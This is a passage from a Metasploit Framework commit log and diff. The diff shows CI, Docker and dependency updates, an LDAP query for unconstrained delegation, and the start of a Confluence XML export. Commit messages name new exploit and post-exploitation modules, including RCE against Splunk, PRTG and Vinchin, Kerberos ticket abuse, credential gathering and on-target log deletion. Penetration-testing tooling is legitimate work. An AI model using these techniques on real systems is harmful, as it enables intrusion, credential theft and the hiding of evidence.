Metasploit 453c8d8d69 automatic module_metadata_base.json update 2023-12-07 18:44:30 -06:00
Jack Heysel 3bad98afc6 Land #18488, add kerberos_tickets post module
Adds a module to manage kerberos tickets from a compromised
host. This PR also includes rail gun enhancements.
2023-12-07 19:12:48 -05:00
jheysel-r7 f5ae039ae2 Apply suggestions from code review 2023-12-07 18:34:13 -05:00
siddolo 48e2e09dfc msftidy fix 2023-12-07 19:23:33 +01:00
Metasploit 62b47afee1 Bump version of framework to 6.3.47 2023-12-07 12:07:47 -06:00
Lore 479190acf6 Update to HashWithIndifferentAccess 2023-12-07 09:23:13 -06:00
Kevin Joensen 83dccfafaf added retry_until_truthy and sensor deletion upon payload running 2023-12-07 15:16:42 +01:00
siddolo 05800296f3 RuboCop fixes and msftidy fixes 2023-12-07 13:45:19 +01:00
siddolo 4039ea523a RuboCop Fixes 2023-12-07 13:19:13 +01:00
siddolo 32e5dfb12d Windows gather credentials for Mikrotik Winbox 'Keep Password' feature 2023-12-07 13:14:37 +01:00
Dean Welch 0cd90259fc Fix issue where session was required for modules that support smb sessions 2023-12-06 13:41:44 +00:00
MikeAnast 7756dc9d8e Dockerfile for arm64 and amd64 using multi-stage build 2023-12-06 14:56:51 +02:00
bwatters cbe99c488e Update metasploit-payloads to 2.0.161 2023-12-05 11:09:01 -06:00
Dean Welch 82b9fda14e Get address/port from socket rather than the smb client 2023-12-05 14:14:03 +00:00
Zach Goldman 56afed78ff fix optenum, add documentation, fix issue with unset values 2023-12-04 18:03:28 -06:00
Zach Goldman 095540cea6 Enhance ability to follow payload override in shell to meterpreter
Update modules/post/multi/manage/shell_to_meterpreter.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

payload override
2023-12-04 12:01:28 -06:00
Dean Welch 232643f426 Validate session exists if provided 2023-12-04 17:55:15 +00:00
Dean Welch aee99ee52a Don't report unknown session arch/platform unless module has a specified arch/platform 2023-12-04 17:55:15 +00:00
Dean Welch 3c16ec2ad8 Fix session validation when smb sessions are disabled 2023-12-04 17:55:15 +00:00
Dean Welch 152056b001 DRY up post mixin/optional session 2023-12-04 17:55:15 +00:00
Dean Welch 25b34101f1 use session instead of client 2023-12-04 17:55:15 +00:00
Dean Welch 4026d99d0f Add smb session tests 2023-12-04 17:55:15 +00:00
Dean Welch cc8fdc0427 Add alias for run_simple to exploit_simple 2023-12-04 17:55:15 +00:00
Dean Welch cd8cc75cf3 Add smb session type 2023-12-04 17:55:11 +00:00
Balgogan ab9576f83d Add changes 2023-12-01 10:55:04 +01:00
Kevin Joensen 2718c078d2 removed WfsDelay 2023-12-01 10:15:55 +01:00
Kevin Joensen d26db0b1dd changed datastore['TARGETURI'] to target_uri.path 2023-12-01 10:15:13 +01:00
Kevin Joensen 26e7807154 updated URI to TARGETURI 2023-12-01 10:09:06 +01:00
Kevin Joensen 9105966b20 Fixed debug string 2023-12-01 10:07:28 +01:00
Ashley Donaldson b6dbc81f44 Fixed the pluralisation 2023-12-01 08:03:32 +11:00
Ashley Donaldson 25f02ebc7c Better error message in TGT retrieval failure 2023-11-30 17:47:54 +11:00
Ashley Donaldson a0258e3ff6 Nicer pluralisation 2023-11-30 17:43:35 +11:00
Ashley Donaldson 11bcd43562 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-11-30 17:30:59 +11:00
Balgogan 47e7453930 Enhance Splunk RCE module description for clarity and detail 2023-11-28 17:59:16 +01:00
Balgogan 4967d3e95d Remove spaces 2023-11-28 17:48:07 +01:00
Balgogan f2f34f64c8 Add suggested changes 2023-11-28 17:45:13 +01:00
Balgogan b2fa201a7d Implement check 2023-11-28 16:45:44 +01:00
Balgogan a1f31d909a Add splunk_xslt_authenticated_rce 2023-11-28 15:51:39 +01:00
Balgogan 0146527e55 Add splunk_xslt_authenticated_rce 2023-11-28 15:40:05 +01:00
Valentin Lobstein 1438a88eb5 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-28 08:10:56 +01:00
Kevin Joensen 7dbd938e3b fixed linting with rubocop and msftidy.rb 2023-11-27 18:44:10 +01:00
Kevin Joensen 3ffeef36f6 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:50 +01:00
Kevin Joensen ebc18db0ac Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:12 +01:00
Kevin Joensen 4906ea228d updated fields to have random values 2023-11-27 09:39:18 +01:00
Ashley Donaldson 7ab487612c Default to NTLM auth, since plaintext will almost certainly never work 2023-11-27 17:52:12 +11:00
Kevin Joensen 27b2cdf5b1 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:15 +01:00
Kevin Joensen 32380d8a26 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:03 +01:00
Kevin Joensen a04943063e Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Removes quotes from normalize_uri parameters.

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:07:08 +01:00
Ashley Donaldson 622277e960 Added documentation for ASREP module 2023-11-24 08:45:26 +11:00
Ashley Donaldson 2ead152173 Add specific module to perform ASREP-roasting 2023-11-24 07:43:49 +11:00
Kevin Joensen 8c007c0ef7 added exploit for CVE-2023-32781 - PRTG authenticated RCE 2023-11-23 19:28:02 +01:00
Valentin Lobstein c60da4ad58 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-11-23 17:33:19 +01:00
Valentin Lobstein d20a1703b1 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-11-23 17:32:57 +01:00
Jack Heysel 397b9971a3 Clean up started 2023-11-22 21:06:55 -05:00
Jack Heysel c0be4c2f72 working end to end unix confluence 7.18 2023-11-22 19:49:38 -05:00
Jack Heysel e6e2106140 Auth bypass, auth, shell upload, working 2023-11-21 22:14:27 -05:00
Balgogan 9b050e29ae Add suggested changes 2023-11-22 00:53:12 +01:00
Balgogan fff8d20eb8 Add suggested changes 2023-11-22 00:50:57 +01:00
Balgogan 2750deedee Update 2023-11-21 18:28:28 +01:00
Valentin Lobstein 218f652429 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-21 17:08:55 +01:00
Balgogan f0ab3a7140 Fix typo 2023-11-21 02:13:58 +01:00
Balgogan 58425df0ef Update vinchin_backup_recovery_cmd_inject exploit and documentation 2023-11-21 02:09:24 +01:00
Valentin Lobstein d59d5e5524 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:07:04 +01:00
Valentin Lobstein 4e1ec6484a Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:51 +01:00
Valentin Lobstein 8eb1f61217 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:41 +01:00
Valentin Lobstein 223cb245ba Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:05 +01:00
Valentin Lobstein 13b19ba537 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:05:54 +01:00
Valentin Lobstein 00cc8dcc09 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:05:45 +01:00
Balgogan 42cdda7200 Vinchin 2023-11-16 18:10:42 +01:00
Valentin Lobstein 24fc989305 Merge branch 'rapid7:master' into master 2023-11-16 16:09:36 +01:00
Gaurav Jain 6056081de5 Change status message upon completion of exploit 2023-11-10 05:28:10 +05:30
Gaurav Jain 8301e6c766 Use Rex::RandomIdentifier::Generator to generate payload variables names 2023-11-10 05:25:59 +05:30
Balgogan 7482948ab7 Fix 2023-11-09 20:05:39 +01:00
Balgogan c5cfc995c2 Add vinchin_backup_recovery_cmd_inject 2023-11-09 19:47:27 +01:00
Gaurav Jain b9c65d5b75 Delete log entries on target 2023-11-06 02:00:25 +05:30
Gaurav Jain ba196b4264 Handle serving of payloads for different targets 2023-11-06 01:57:44 +05:30
Gaurav Jain 9bd819e2d7 Add java in-memory target for manageengine servicedesk exploit 2023-10-30 20:12:37 +05:30
Spencer McIntyre 7b76cc01f9 Add x86 support to windows/manage/kerberos_tickets 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7e4e6edc2f Fix a typo in the constant name 2023-10-27 12:47:19 -04:00
Spencer McIntyre 54bce7fcb5 Add module docs 2023-10-27 12:47:19 -04:00
Spencer McIntyre b44bf1ce7e Resolve the ticket host 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7137820381 Refactor the module and update output handling 2023-10-27 12:47:19 -04:00
Spencer McIntyre 79a3e756b3 Add the ENUM_LUIDS action 2023-10-27 12:47:19 -04:00
Spencer McIntyre 98906a5976 Add the SHOW_LUID action, refactor printed output 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7b4caf79f8 Move the code into libraries for reuse 2023-10-27 12:47:19 -04:00
Spencer McIntyre 3a6086d88b Initial kerberos_tickets WIP 2023-10-27 12:47:19 -04:00
Spencer McIntyre 0dea63904f Allow passing pointers for PBLOB in parameters
This will cause railgun to use the pointer as is it were defined as an
LPVOID parameter type. This is useful in cases where the contents are
already in the target's memory.
2023-10-27 12:47:19 -04:00
Spencer McIntyre ba9cb1ef40 Update advapi32 definitions
Add definitions for ConvertSidToStringSid and fix the data type of the
ThreadHandle parameter.
2023-10-27 12:47:19 -04:00
Spencer McIntyre 71f019c359 Add initial secur32.dll railgun definitions 2023-10-27 12:47:19 -04:00
Spencer McIntyre ff699aae00 Accept BinData::Struct instances in railgun
This updates railgun to accept BinData::Structs in key locations of
railgun for convenience.
2023-10-27 12:47:19 -04:00
Spencer McIntyre 5b5d5ade40 Free data using the new util API 2023-10-27 12:47:19 -04:00
Spencer McIntyre 9253b35fb2 Allow freeing allocated utility strings
Also use HeapAlloc so we're not leaking entire pages.
2023-10-24 17:18:36 -04:00
Aleksa Zatezalo 67b0168669 Delete documentation/modules/auxiliary/scanner/nessus/nessus_ntp_login.md 2023-10-22 22:57:55 -04:00
aleksa eb43039a18 Files removed 2023-10-21 19:53:47 -04:00
aleksa 99c2bb2eca Changed to markdown 2023-10-21 19:50:39 -04:00
aleksa 8e56a9761f Nessus documentation created. 2023-10-21 19:49:10 -04:00
errorxyz 2cf8b3808c Fix lotus_domino_hashes to use #service_details from HttpClient mixin 2023-09-27 21:16:24 +05:30
errorxyz f5d5541e73 Update deprecated report_auth_info method call in various modules in data/exploits/psnuffle/ 2023-09-25 02:51:08 +05:30
errorxyz 9f10f9402c Update deprecated report_auth_info method call in data/exploits/psnuffle/smb.rb module 2023-09-25 02:06:48 +05:30
errorxyz 35609d07e9 Fix lotus_domino_hashes_spec to comply with report_cred method 2023-09-25 01:19:43 +05:30
errorxyz b4dee448bc Update deprecated report_auth_info method call in lotus_domino_hashes 2023-09-24 22:32:52 +05:30
errorxyz 7cd447b5d0 Update deprecated report_auth_info method call in modicon_password_recovery 2023-09-24 22:22:36 +05:30
errorxyz 203470302a Remove deprecated report_auth_info method call from vbulletic_vote_sqli_exec module 2023-09-24 22:20:35 +05:30
758 changed files with 33970 additions and 5421 deletions
+6 -5
View File
@@ -38,6 +38,7 @@ on:
- 'lib/msf/core/**'
- 'tools/dev/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
@@ -63,10 +64,10 @@ jobs:
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
- { name: java, runtime_version: 8 }
# PHP
- { name: php, runtime_version: 5.3 }
- { name: php, runtime_version: 7.4 }
- { name: php, runtime_version: 8.2 }
# PHP - Temporarily removed as tests are timing out on Github actions
# - { name: php, runtime_version: 5.3 }
# - { name: php, runtime_version: 7.4 }
# - { name: php, runtime_version: 8.2 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
@@ -92,7 +93,7 @@ jobs:
if: runner.os == 'Linux'
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
if: ${{ matrix.meterpreter.name == 'php' }}
with:
php-version: ${{ matrix.meterpreter.runtime_version }}
+4 -1
View File
@@ -76,7 +76,10 @@ jobs:
include:
- os: ubuntu-latest
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DATASTORE_FALLBACKS=1'
- os: ubuntu-latest
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
+8 -1
View File
@@ -51,6 +51,7 @@ RUN mkdir -p $TOOLS_HOME/bin && \
FROM ruby:3.1.4-alpine3.18
LABEL maintainer="Rapid7"
ARG TARGETARCH
ENV APP_HOME=/usr/src/metasploit-framework
ENV TOOLS_HOME=/usr/src/tools
@@ -62,7 +63,13 @@ RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
openssl-dev nasm
RUN\
if [ "${TARGETARCH}" = "arm64" ];\
then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\
else apk add --no-cache mingw-w64-gcc;\
fi
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
+1
View File
@@ -52,3 +52,4 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+9 -8
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.46)
metasploit-framework (6.3.56)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
@@ -33,7 +33,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.159)
metasploit-payloads (= 2.0.165)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.26)
mqtt
@@ -60,6 +60,7 @@ PATH
rb-readline
recog
redcarpet
reline
rex-arch
rex-bin_tools
rex-core
@@ -80,7 +81,7 @@ PATH
rex-zip
ruby-macho
ruby-mysql
ruby_smb (~> 3.2.0)
ruby_smb (~> 3.3.0)
rubyntlm
rubyzip
sinatra
@@ -264,7 +265,7 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.6)
metasploit-credential (6.0.7)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -278,7 +279,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.159)
metasploit-payloads (2.0.165)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -377,7 +378,7 @@ GEM
nokogiri
redcarpet (3.6.0)
regexp_parser (2.8.1)
reline (0.3.8)
reline (0.4.1)
io-console (~> 0.5)
require_all (3.0.0)
rex-arch (0.1.15)
@@ -418,7 +419,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.55)
rex-socket (0.1.56)
rex-core
rex-sslscan (0.1.10)
rex-core
@@ -473,7 +474,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.6)
ruby_smb (3.3.2)
bindata
openssl-ccm
openssl-cmac
+5 -5
View File
@@ -80,9 +80,9 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.6, "New BSD"
metasploit-framework, 6.3.46, "New BSD"
metasploit-framework, 6.3.56, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.159, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.165, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
@@ -134,7 +134,7 @@ rb-readline, 0.5.5, BSD
recog, 3.1.2, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.8.1, MIT
reline, 0.3.8, ruby
reline, 0.4.1, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.15, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
@@ -149,7 +149,7 @@ rex-powershell, 0.1.99, "New BSD"
rex-random_identifier, 0.1.11, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.54, "New BSD"
rex-socket, 0.1.55, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.53, "New BSD"
@@ -171,7 +171,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.6, "New BSD"
ruby_smb, 3.3.2, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
@@ -292,7 +292,7 @@ queries:
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_UNCONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow uncontrained delegation.'
description: 'Dump info about all known objects that allow unconstrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
attributes:
- cn
+4685
View File
@@ -0,0 +1,4685 @@
<?xml version="1.0" encoding="UTF-8"?>
<hibernate-generic datetime="2023-11-09 06:05:20">
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196658</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196654</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196655</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196656</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196657</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196650</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196651</id>
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196652</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196653</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196646</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196647</id>
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196648</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196649</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
